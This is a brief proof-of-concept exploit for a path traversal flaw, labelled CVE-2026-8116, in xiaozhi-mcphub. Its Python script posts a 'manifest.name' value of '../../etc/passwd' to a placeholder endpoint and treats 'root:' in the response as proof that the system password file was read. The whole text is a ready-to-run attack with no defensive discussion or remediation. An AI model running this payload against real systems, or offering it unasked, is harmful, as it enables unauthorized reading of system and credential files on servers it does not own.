CVE-2026-8116 xiaozhi-mcphub路径遍历漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-ip:port/api/path" # Malicious payload containing path traversal sequence payload = { "manifest.name": "../../etc/passwd" } try: # Sending the POST request with the malicious payload response = requests.post(target_url, json=payload) # Checking if the attack was successful if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! Sensitive file content retrieved.") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("Status Code:", response.status_code) print("Response:", response.text) except Exception as e: print(f"[!] An error occurred: {e}")